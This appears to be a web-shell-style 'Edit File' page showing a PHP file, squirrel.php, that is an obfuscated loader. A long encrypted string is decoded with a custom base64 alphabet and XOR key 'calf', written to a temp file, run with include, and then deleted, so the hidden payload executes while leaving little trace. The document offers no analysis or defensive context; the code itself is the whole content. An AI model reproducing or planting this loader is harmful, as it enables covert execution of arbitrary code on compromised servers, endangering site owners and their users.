JezK

Edit File: squirrel.php

<?php
$encrypted = 'X14cDhNsZhUGEh8PDA8zFRcAHhJLSFdraWxmQhMAHxUlCAADQ1xMQQsVGBZZTkMHEwgNFBpMCgtNAgMLTAwfDgYNADkAEwkCTQsfCQ1GV2tpbGZJTEFBS05BvPGz0bzVsuG95bPWvNyz0Uy34rHSttex2bfjsdq227HQtt2x37bdQb3hs9S95rPUvNFDAjk0L0FBS05sZkIACUxbQwIZFA8-BQgKFURCEwAfFSUIAANKWmFsABQeCjwSCRIMERhORwIESkMiOTQvLjwyPDMpMjYzIjIxICI1JSQ-SkMVHhMGSFdraQIZFA8-HwMXDhwSS0UPDk9BLzMxLSM2Nz4qKS8tIzEvLi8nNygjKE9BGBQWBEVdbmsPExENMxUGFQMWF0lIBQtNTCU2MyApMzUzMzAkPickJCIyT0FLKwwbBQoPAENTTVFLT1hsZgUWEwA5EAQYCRMVREIACUBGIDQ-KiwxODk3KCEjLDQ4SkNQXE9YbGZraUUPCQ0VCQgXQVFGABQeCjwEFAMASUgFC0hXa2lsZg8FQUQFFhMAOQYTHggMSUgFC0hFRhhsZkZDQUwCCgRERLP_ve6z2bzXs9u81kMCOTQvW0xEQ09MBRYTADkGEx4JEUlIBQtIRV1uaxFraWxmQgsVGBYgDggDQ1xMBRYTADkEBBgPDQcDTkcCBEpDIjk0LygiICw-JDI3MTMlLCUpT1hsZgUWEwA5AA0DFQZJSAULSFdraWxmDwVBREILFRgWIA4IA0NAUVtDU1xWQx0QRkcCAwgXBAISQ1xRW0MHDQoQBEVGGGxmRkNBTAIKBEREs8W81rPYvN1DsdG21kG94bPZveSz0bzTsuO957LuTLbbsde220E5NC9BvNuz1LzSs9-957LjveWz3rzTs9xWRkFBQkZHEQ0VECcFCgZIV2tpHGFsbmtDSUNMQUtDsfK20rDsttOx3bbdsO622bHcRikyIyhDTEFLbmtIAgIVDUZeQQYVDA8zAgYCAwIGSUgFDA8YAw0VQEYXExkDSlphbAoHTE5HBQ0SAkFRW15BAhMPDUVGGGxmRkNBTAIKBEREs_-97rPZvNez27zWQ7DsttOx27bSsdK347HcRikyIyhZQU5GTUEGFQwPMwoCEhg5BhMeCRE-ARUESUVPWGxmG25rYWxHEhgJEQQILgISBEZeQUgCAhUNPUQRDRUQRjFGXF5MCBYNAF1uawUAQ0lNQhAVAxQGBSQHEAlFRhhsZkZDQUwCCgRERLPEvNOy6Uy23LHct-Ox0rbYsONGs9y800Ox0bbTsdW217HZtt5BvNRDKz8pLU9OT1hsZhtua2FsTE5MS05MTLbzsd634bHSt-Ox1LbUsdy35bHUt-xBQUtObGYPBUFEQjwyKTQ1JD49RDMpNzYkPzI8LCkyKy4oQT5BUVteQUs2LDI4QUpBF2tpQUxGQ0UFCBMUGDYCEh8RDBMIRl5BSDkzLj8yOEYcBxASGwkRBUs7Q15TRkRGV2tpbGZGQ0FMDwVBREIQFQMUBgUkBxAJTEBFQRwHEBIbCREFMxAGEwUAGklIDw0RGRIzAB8VFA4eAk9BSBUXDh4DBykNFQtIRUYYbGZGQ0FMRkNBTEI8Mik1MCgjKDhGDRMXCQkIFwgPBxcECEE-QVFGFxMZA1hsZkZDQUxGQ0FMDgYACAMRSUsqDAINEgoOAlxDRkxIQ0UzNSYzOiMxOks2KzEzNSYtKkE-SFdraUFMRkNBTEZDBBQPF1phbENBTEYeQQkKEARMHW5rTEZDQUxGQ0FIAxETAxRDXExEs_y807PTvNOy4bzbsuq830Ox07bTsOy23bHXt-9PTl1ua0xGQ0ERa2kcYWxua0NJQ0xBS0Ox_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';
if (!function_exists('snake')) {
    function snake($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

$bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

$res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), snake($encrypted, 'calf'));
include $tmp;
unlink($tmp);